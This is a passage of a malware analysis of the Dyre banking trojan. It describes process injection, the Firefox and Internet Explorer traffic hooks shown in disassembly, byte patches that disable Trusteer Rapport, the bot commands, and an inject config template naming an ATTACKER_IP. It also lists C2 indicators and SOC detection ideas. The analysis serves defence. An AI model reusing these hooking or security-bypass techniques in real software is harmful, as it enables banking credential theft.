Calls CreateToolhelp32Snapshot to get a snapshot of all running processes. For each process name it calls StrStrIW to see if the searched process matches. If not, it will call Process32NextW to get the next process name. In stage 4 explorer.exe or svchost.exe is searched for. In stage 6 the injected process searches for chrome.exe, firefox.exe and or iexplore.exe

Process Injection

The process injection uses NtMapViewOfSection, VirtualAlloc, NtQuerySystemInformation, OpenThread and NtQueueApcThread rather than the standard WriteProcessMemory, SetThreadContext and CreateRemoteThread.

Host IP Retrieval

Gets IP from stun server or third party service. Please see the section Network Traffic Patterns for more details.

VNC

The code responsible for VNC is a separate module. It is not present in the executable. The module looks to be a DLL that has three known exports of ClientSetModule, VncStartServer

and VncStopServer. The later export names are present in the Carberp source leak at Carberp/source - absource/pro/all source/hvnc_dll/HVNC Lib/hvnc.h. There is the possibility this is a modified version of the leaked code but without the module there is no way to know for sure. This same function is also used for the tv32 cmd. The modules are internally named VNCModule and TVModule.

Other functionality not worth researching

- Decrypting of files stored as RCDATA in the resources
- Creation and execution of files in the%TEMP% directory
- Stores configuration in a log file
- Requires having SeDebugPrivilege rights
- Collects information about the host.
- Redirects

Commands & Configurations

Commands & Configurations

Some of these are internal command that are passed through the named pipe while other are commands from the command and control.

- sfile - send file
- logkeys -
- logpost - log POST requests
- cert
- vnc32
- tv32
- bcc
- browsnapshot
- generalinfo
- httprdc
- btid - passed on the pipe
- ccsr
- btnt
- slip
- pls
- spp
- setp
- newp - new process.
- slpr
- ppsr

Injects Configurations

The configurations for the browser injects are stored as XML. These are used in stage 7 in the injected process. There are three parent tags serverlist, localitems and rpci.

<serverlist>
<server>
<sal>BANK_URL</sal>
<saddr>ATTACKER_IP:PORT</saddr>
</server>
</serverlist>

<localitems>
<litem>
SUB.BANK_URL.com/FOLDER/*
SUB.BANK_URL-1.com/FOLDER/*
SUB.BANK_URL-2.com/FOLDER/*
</litem>
</localitems>

Unfortunately I could not find an example for rpci.

Error Codes

Dyre has an extensive error handling and feedback for the developers. Error handling functionality can be found throughout the code

- 0FCC20002h - Chrome PE Parsing failed
- 0FCC20000h - Unknown Chrome related
- 0FCC10001h - FireFox Hook failed
- 0FCC10000h - Unknown FireFox related
- 0FCCC0001h - Internet Explorer WinInet hook failed
- 0FCCC0000h - Internet Explorer WinInet parsing failed or timestamp not found

Hooks

Process specific hooks for logging browser traffic. The hooks happen in stage 7 which happens in the injected process. The injected process name will be firefox.exe, chrome.exe or iexplore.exe.

FireFox Hooks

The sample uses the standard approach to hook traffic in Firefox. It attempts to load NSPR4.DLL orNSS3.DLL. It will then call GetProcAddress to get the address and then add an inline hook for the following APIs.

- PR_Read
- PR_Write
- PR_Close

Parses the below request if PR_Write is called

- GET
- PUT
- POST

Parses the below request if PR_Read is called

- HTTP
- HTTPS
- POST

The hooking of PR_Read and PR_Write has been used by malware since at least December of 2009. Likely earlier due to the first post discussing this technique was by a user named oxman on the Mozilla forums in January of 2007.

Internet Explorer Hooks

The first two hooks use a GetProcAddress approach to find the address LoadLibraryExW and CreateProcessInternalW. When hooking WinInet.dll Dyre does something rather unique. It does this to bypass heuristic based detection. Dyre will read the timestamp of WinInet.dll and then compare it to a list of other time stamps for WinInet.dll. The list contains every time stamp for WinInet.dll since '2004-08-04 01:53:22' to '2014-07-25 04:04:59'.

```
seg000:00A0C05F             db      0
seg000:00A0C060 TimeStampList dd 4110941Bh          ; DATA XREF: TimeStamp:_loopr
seg000:00A0C064 dword_A0C064 dd 0                   ; DATA XREF: TimeStamp+1Cr
seg000:00A0C064                                     ; TimeStamp:loc_A07A0Dr ...
seg000:00A0C068             dd 411095F2h <- Time stamp
seg000:00A0C06C             dd 0            <- WinInet index
seg000:00A0C070             dd 4110963Fh
seg000:00A0C074             dd 0
seg000:00A0C078             dd 4110967Dh
seg000:00A0C07C             dd 0
seg000:00A0C080             dd 411096D4h
seg000:00A0C084             dd 0
seg000:00A0C088             dd 411096DDh
seg000:00A0C08C             dd 0
seg000:00A0C090             dd 41252C1Bh
seg000:00A0C094             dd 0
seg000:00A0C098             dd 41252C9Fh
seg000:00A0C09C             dd 0
seg000:00A0C0A0             dd 41253332h
seg000:00A0C0A4             dd 0
seg000:00A0C0A8             dd 41F9216Ch
seg000:00A0C0AC             dd 1
seg000:00A0C0B0             dd 435862A0h
seg000:00A0C0B4             dd 2
seg000:00A0C0B8             dd 43C2A6A9h
seg000:00A0C0BC             dd 3
....
seg000:00A0D230             dd 4CE7BA3Fh
```

```
seg000:00A0D234         dd 78h
seg000:00A0D238         dd 53860FB3h
seg000:00A0D23C         dd 79h
seg000:00A0D240         dd 53D22BCBh
seg000:00A0D244         dd 7Ah
```

```
>>> datetime.datetime.fromtimestamp(0x411095F2).strftime('%Y-%m-%d %H:%M:%S')
'2004-08-04 01:53:22'

>>> datetime.datetime.fromtimestamp(0x53D22BCB).strftime('%Y-%m-%d %H:%M:%S')
'2014-07-25 04:04:59'
```

If an error occurs during the parsing process the sample will check if the hash of the dll is known to the server. If not, it will use the "sfile" command to send the file back to the command and control.

```
'/%s/%s/63/file/%s/%s/%s/'
"Check wininet.dll on server failed"
"Send wininet.dll failed"
```

If the timestamp is found the value below is used as an index to grab the address of where the hook should happen. For example if the timestamp was 4802A13Ah it would be found at the 49th entry.

```
seg000:00A0C1E8         dd 4802A13Ah  <- '2008-04-13 18:11:38'
seg000:00A0C1EC         dd 15h  <- 21 index

seg000:00A07A0D         movsx   edx, word ptr ds:TimeStampIndex[eax*8] ; edx = 21
seg000:00A07A15         lea     edx, [edx+edx*2] ; edx  = 63
seg000:00A07A18         mov     edx, ds:offset[edx*4]
seg000:00A07A1F         mov     [ecx], edx              ; save off value
```

```
Python>hex(0x0A0D3E0 + (21+21* 2) * 4)
0xa0d4dc

seg000:00A0D4DC         dw 0F3Ch  0x0f3C offset to inline hook in wininet
```

* ICSecureSocket::Send_Fsm(CFsm_SecureSend *)

```
77200F37    90          NOP
77200F38    90          NOP
77200F39    90          NOP
77200F3A    90          NOP
```

```
77200F3B     90              NOP
77200F3C  - E9 C7F0398A  JMP 015A0008   <- Inline hook
015A0008     68 4077A000 PUSH 0A07740
015A000D     C3              RETN

00A07740     55              PUSH EBP
00A07741     8BEC            MOV EBP,ESP
00A07743     83EC 08         SUB ESP,8
00A07746     894D FC         MOV DWORD PTR SS:[EBP-4],ECX
00A07749     68 2077A000 PUSH 0A07720
00A0774E     FF75 08         PUSH DWORD PTR SS:[EBP+8]
00A07751     FF75 FC         PUSH DWORD PTR SS:[EBP-4]
00A07754     FF15 94DEA000   CALL DWORD PTR DS:[A0DE94]
00A0775A     8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
00A0775D     8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
00A07760     8B45 F8         MOV EAX,DWORD PTR SS:[EBP-8]
00A07763     8BE5            MOV ESP,EBP
00A07765     5D              POP EBP


* ICSecureSocket::Receive_Fsm(class CFsm_SecureReceive *)
77201D4A  - E9 B9E23B8A  JMP 015C0008
015C0008     68 9077A000 PUSH 0A07790
015C000D     C3              RETN

00A07790     55              PUSH EBP
00A07791     8BEC            MOV EBP,ESP
00A07793     83EC 08         SUB ESP,8
00A07796     894D FC         MOV DWORD PTR SS:[EBP-4],ECX
00A07799     68 7077A000 PUSH 0A07770
00A0779E     FF75 08         PUSH DWORD PTR SS:[EBP+8]
00A077A1     FF75 FC         PUSH DWORD PTR SS:[EBP-4]
00A077A4     FF15 98DEA000   CALL DWORD PTR DS:[A0DE98]
00A077AA     8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
00A077AD     8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
00A077B0     8B45 F8         MOV EAX,DWORD PTR SS:[EBP-8]
00A077B3     8BE5            MOV ESP,EBP
00A077B5     5D              POP EBP
00A077B6     C2 0400         RETN 4
```

Chrome Hooks

The first hook is LoadLibraryExW. The rest of the hooks failed. Will investigate at a later date.

Anti-Detection functionality

- The first stage is randomized and typically has a low detection score
- Process injection of a DLL that is not listed as a loaded module.
- Disabling/Patching of Trusteer in the injected process. This happens in stage 7. Please see below for more details.

Disabling RapportGP

Checks if RapportGP.dll is a loaded module within the browser. If found it searches for a set of bytes and then patches it. The two byte patterns and the replaced bytes can be found below.

First Bytes Searched

```
seg000:00A0C000 8B C6                   mov   eax, esi
seg000:00A0C002 8B 4C 24 50             mov   ecx, [esp+50h]
seg000:00A0C006 64 89 0D 00 00 00+      mov   large fs:0, ecx
seg000:00A0C00D 59              pop     ecx
seg000:00A0C00E 5F              pop     edi
seg000:00A0C00F 5E              pop     esi
seg000:00A0C010 5B              pop     ebx
seg000:00A0C011 8B E5                   mov   esp, ebp
seg000:00A0C013 5D              pop     ebp
seg000:00A0C014 C2 04 00                retn  4
```

First Bytes Patched

```
seg000:00A0C018
seg000:00A0C018 31 C0                   xor   eax, eax
seg000:00A0C01A 8B 4C 24 50             mov   ecx, [esp+arg_4C]
seg000:00A0C01E 64 89 0D 00 00 00+      mov   large fs:0, ecx
seg000:00A0C025 59              pop     ecx
seg000:00A0C026 5F              pop     edi
seg000:00A0C027 5E              pop     esi
seg000:00A0C028 5B              pop     ebx
seg000:00A0C029 8B E5                   mov   esp, ebp
seg000:00A0C02B 5D                      pop   ebp
seg000:00A0C02C C2 04 00                retn  4
```

2nd Bytes Searched

```
seg000:00A0C030 8B C6           mov   eax, esi
seg000:00A0C032 8B 4C 24 58             mov   ecx, [esp+58h]
seg000:00A0C036 64 89 0D 00+            mov   large fs:0, ecx
seg000:00A0C03D 59              pop     ecx
seg000:00A0C03E 5F              pop     edi
```

```
seg000:00A0C03F 5E              pop     esi
seg000:00A0C040 5B              pop     ebx
seg000:00A0C041 8B E5           mov     esp, ebp
seg000:00A0C043 5D              pop     ebp
seg000:00A0C044 C2 04 00        retn    4
```

2nd Bytes Patched

```
seg000:00A0C048 31 C0           xor     eax, eax
seg000:00A0C04A 8B 4C 24 58             mov     ecx, [esp+58h]
seg000:00A0C04E 64 89 0D 00+            mov     large fs:0, ecx
seg000:00A0C055 59              pop     ecx
seg000:00A0C056 5F              pop     edi
seg000:00A0C057 5E              pop     esi
seg000:00A0C058 5B              pop     ebx
seg000:00A0C059 8B E5           mov     esp, ebp
seg000:00A0C05B 5D              pop     ebp
seg000:00A0C05C C2 04 00        retn    4
```

Command and Control

Third Party Resources

abuse.ch SSL Fingerprint Blacklist for Suricata

- https://sslbl.abuse.ch/blacklist/sslblacklist.rules

URLs & IPs

The below IPs were extracted from memory dumps from Dyre samples. This is a small set.

188.165.209.117:19001

https://www.virustotal.com/en/ip-address/188.165.209.117/information/

188.165.214.17:19000

https://www.virustotal.com/en/ip-address/188.165.214.17/information/

188.165.216.217:19000

https://www.virustotal.com/en/ip-address/188.165.216.217/information/

216.55.182.19:19000

https://www.virustotal.com/en/ip-address/216.55.182.19/information/

37.59.42.107:19000

https://www.virustotal.com/en/ip-address/37.59.42.107/information/

94.23.0.200:19000

https://www.virustotal.com/en/ip-address/94.23.0.200/information/

94.23.2.19:19000

https://www.virustotal.com/en/ip-address/94.23.2.19/information/

94.23.221.154:19000

https://www.virustotal.com/en/ip-address/94.23.221.154/information/

94.23.236.54:15000

https://www.virustotal.com/en/ip-address/94.23.236.54/information/

Network Traffic Patterns

When testing the network connection it will make a request to google.com or microsoft.com. The initial URL is chosen randomly. It will attempt to check the connection for a minute and half.

No.	Time	Source	Destination	Protocol	Length	Info
57	203.133562	192.168.195.129	74.125.225.164	TCP	62	remote-as > http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
58	203.187092	74.125.225.164	192.168.195.129	TCP	60	http > remote-as [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
59	203.188628	192.168.195.129	74.125.225.164	TCP	54	remote-as > http [ACK] Seq=1 Ack=1 Win=64240 Len=0
69	210.736318	192.168.195.129	74.125.225.164	TCP	54	remote-as > http [FIN, ACK] Seq=1 Ack=1 Win=64240 Len=0
70	210.747798	74.125.225.164	192.168.195.129	TCP	60	http > remote-as [ACK] Seq=1 Ack=2 Win=64239 Len=0
71	210.787583	74.125.225.164	192.168.195.129	TCP	60	http > remote-as [FIN, PSH, ACK] Seq=1 Ack=2 Win=64239 Len=0
72	210.787877	192.168.195.129	74.125.225.164	TCP	54	remote-as > http [ACK] Seq=2 Ack=2 Win=64240 Len=0

Once it can verify the machine has a connection it will try to get the machines IP address through a request to a stun (Session Traversal Utilities for NAT) server. Drye will randomly choose one of the following stun servers.

stun1.voiceeclipse.net
stun.callwithus.com
stun.sipgate.net
stun.ekiga.net
stun.ideasip.com
stun.internetcalls.com
stun.noc.ams-ix.net
stun.phonepower.com
stun.voip.aebc.com
stun.voipbuster.com
stun.voxgratia.org
stun.ipshka.com
stun.faktortel.com.au

stun.iptel.org
stun.voipstunt.com
stunserver.org
203.183.172.196:3478
s1.taraba.net
s2.taraba.nete
stun.l.google.com:19302
stun1.l.google.com:19302
stun2.l.google.com:19302
stun3.l.google.com:19302
stun4.l.google.com:19302
stun.schlund.de
stun.rixtelecom.se
stun.voiparound.com
numb.viagenie.ca
stun.stunprotocol.org
stun.2talk.co.nz

From a SOC perspective, rules could be created for a DNS request to google.com or microsoft.com and then a connection to one of the above stun servers. If the initial request is google.com it would be obvious not to flag on a connection to a google hosted stun server. While searching for samples I found it rare to see non-malicious executables connect to the non-google stun servers. If the attempt of the getting the machines IP fails using a stun server it will use a third party site icanhazip.com for returning the IP address.

Appendix:

Strings

Stage 6 - Dyre

!This program cannot be run in DOS mode.
_;RichL
.text
.rdata
@.data
.rsrc
%s:%d
%d/%s/%s
empty
Win_7
Win_7_SP1
Win_XP
Win_8

Win_8.1
Win_Server_2003
Win_Vista_SP2
Win_Vista
Win_Vista_SP1
unknown
_32bit
/%s/%s/0/%s/%d/%s/
/%s/%s/%d/%s/
/%s/%s/%d/%s/%s/
/%s/%s/5/%s/%s/
Wget/1.9+cvs-stable (Red Hat modified)
vnc32
httprdc
/%s/%s/23/%d/%s/%s/
%s/%s/0
error
noname
RtlTimeToSecondsSince1970
text/plain; charset=UTF-8
text/plain; charset=UTF-16
image/jpeg
application/octet-stream
text/plain
%sbound-%d
Content-Disposition: form-data; name="%s"
Content-Type:
--%s--
Content-Type: multipart/form-data; boundary=
Content-Length:
Accept: text/html
Connection: Keep-Alive
%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%0
2X
%s_W%d%d%d.%s
botid
success
0.0.0.0:0
config
http://icanhazip.com
No NAT
Full Cone NAT
UDP Firewall

Port restricted NAT
Address restricted NAT
Symmetric NAT
unknown NAT
CONSTRAINT
%I64d
"profile"
"info_cache"
tablecookiescookies
indexsqlite_autoindex_cookies_1cookies
tablemoz_cookiesmoz_cookies
NSS_Initialize
NSS_Shutdown
PR_Init
PR_Cleanup
PL_ArenaFinish
SECITEM_AllocItem
SECITEM_DupItem
SECITEM_ZfreeItem
SEC_PKCS12EnableCipher
SEC_PKCS12SetPreferredCipher
SEC_PKCS12CreateExportContext
SEC_PKCS12DestroyExportContext
SEC_PKCS12CreateUnencryptedSafe
SEC_PKCS12CreatePasswordPrivSafe
SEC_PKCS12AddCertAndKey
SEC_PKCS12AddPasswordIntegrity
SEC_PKCS12Encode
CERT_GetDefaultCertDB
CERT_DestroyCertList
PORT_UCS2_UTF8Conversion
PORT_SetUCS2_ASCIIConversionFunction
PK11_Authenticate
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_ListCerts
PK11_NeedUserInit
PK11_InitPin
SEC_PKCS12DecoderStart
SEC_PKCS12DecoderUpdate
SEC_PKCS12DecoderImportBags
SEC_PKCS12DecoderFinish
SEC_PKCS12DecoderVerify

SEC_PKCS12DecoderValidateBags
\Mozilla\Firefox\
profiles.ini
IsRelative
secmod.db
%d.%d.%d.%d
browsnapshot
generalinfo
canot get config
backconn
start fail
ClientSetModule
VncStartServer
VncStopServer
222289DD-9234-C9CA-94E3-E60D08C77777
VNCModule
TVModule
AUTOBACKCONN
start failed
cannot get VNC
cannot get TV
send browser snapshot failed
send system info failed
bcsrv
1609uk4
C~h!f@
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
        <security>
        <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker"
uiAccess="false"></requestedExecutionLevel
        </requestedPrivileges>
        </security>
  </trustInfo>
00000001E00D   00001001E00D   0   0*02090c0m0x0
SeDebugPrivilege
ntdll.dll
Tu2xwersd1
\\.\pipe\cmvn5e4d4r
Roaming
Local
d6r5g4da.db

google.com
microsoft.com
stun1.voiceeclipse.net
stun.callwithus.com
stun.sipgate.net
stun.ekiga.net
stun.ideasip.com
stun.internetcalls.com
stun.noc.ams-ix.net
stun.phonepower.com
stun.voip.aebc.com
stun.voipbuster.com
stun.voxgratia.org
stun.ipshka.com
stun.faktortel.com.au
stun.iptel.org
stun.voipstunt.com
stunserver.org
203.183.172.196:3478
s1.taraba.net
s2.taraba.net
stun.l.google.com:19302
stun1.l.google.com:19302
stun2.l.google.com:19302
stun3.l.google.com:19302
stun4.l.google.com:19302
stun.schlund.de
stun.rixtelecom.se
stun.voiparound.com
numb.viagenie.ca
stun.stunprotocol.org
stun.2talk.co.nz
*.txt
\Google\Chrome\User Data\
Local State
%s%hs\Cookies
\Mozilla\Firefox\
profiles.ini
IsRelative
\cookies.sqlite
12345
CurrentVersion
SOFTWARE\Mozilla\Mozilla Firefox

SOFTWARE\Mozilla\Mozilla Firefox\
\Main
Install Directory
nss3.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\
Display
DisplayName
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
DisplayVersion
Version
Mozilla Firefox
svcVersion
SOFTWARE\Microsoft\Internet Explorer
Internet Explorer
1s3bu472s
tgdx6dr85
du1xdfy2dv
Software\Microsoft\Windows\CurrentVersion\Uninstall
SYSTEM\CurrentControlSet\services
Global\553wwerdty7
D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;GA;;;WD)(A;;GA;;;RC)S:(ML;;NW;;;LW)
chrome.exe
firefox.exe
iexplore.exe

Stage 7 - Injected Process

!This program cannot be run in DOS mode.
.text
.rdata
@.data
.rsrc
@.reloc
9POST
=HTTPt
=POST
x"tXSV
=GET t
=PUT t
=POST
VWj j
=HTTPt

=POST
=GET t
=PUT t
=POST
VWj j
9POST
=HTTPt
=POST
GET t
PUT t
SSPh@
wY0!w
LoadLibraryExW
/%s/%s/%d/%s/
/%s/%s/%d/%s/%s/
%s/%s/0
error
/%s/%s/63/checkfile/%s/%s/
Wget/1.9+cvs-stable (Red Hat modified)
/%s/%s/63/file/%s/%s/%s/
sfile
text/plain; charset=UTF-8
text/plain; charset=UTF-16
image/jpeg
application/octet-stream
text/plain
%sbound-%d
Content-Disposition: form-data; name="%s"
Content-Type:
--%s--
Content-Type: multipart/form-data; boundary=
Content-Length:
Accept: text/html
Connection: Keep-Alive
Content-Length:
Host:
Connection:
Transfer-Encoding:
Cookie:
Referer:
X-CSRF-Token:
X-Requested-With:
Content-Type:

NSPR4.DLL
NSS3.DLL
PR_Read
PR_Write
PR_Close
RapportGP.dll
CreateProcessInternalW
gdm12479s:
litem
saddr
server
serverlist
<rpci
</rpci>
wininet.dll
Send wininet.dll failed
Check wininet.dll on server failed
Error code %x, %s
Error code %x
AUTOBACKCONN
logkeys
not_support
logpost
X-Forwarded-For: %s
BotInfo: %s %s
success
0.0.0.0:0
botnetfail
127.0.0.1
XXXXXXXXXXXXXXXXXXXXXXXXx- bot id removed
1609uk4
0.0.0.0
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
        <security>
        <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker"
uiAccess="false"></requestedExecutionLevel>
        </requestedPrivileges>
        </security>
  </trustInfo>
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI
NGXXPADDINGPADDINGXXPAD

0E0N0
3P3T3
chrome.dll
kernel32.dll
\\.\pipe\cmvn5e4d4r
WinInet.dll
kernelbase.dll
iexplore.exe!test
\system32\wininet.dll
firefox.exe
chrome.exe
iexplore.exe

Third Party Analysis

- http://phishme.com/project-dyre-new-rat-slurps-bank-credentials-bypasses-ssl
- http://blog.spiderlabs.com/2014/07/analysis-of-a-banking-trojan-spammed-by-cutwail.html
- https://techhelplist.com/index.php/spam-list/511-sage-accounting-invoice-nnn-virus
- http://www.proofpoint.com/threatinsight/posts/dyreza-as-a-service.php
- http://thegoldenmessenger.blogspot.com/2014/07/dyre-banker-aka-cdil-aka-win32win64.html
- http://www.virusradar.com/en/Win32_Battdil/chart/history
- http://stopmalvertising.com/malware-reports/analysis-of-dyreza-changes-network-traffic.html
- http://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-dyre-malware-part-1/

Oldest discussion on FireFox hooking

- http://forums.mozillazine.org/viewtopic.php?t=514691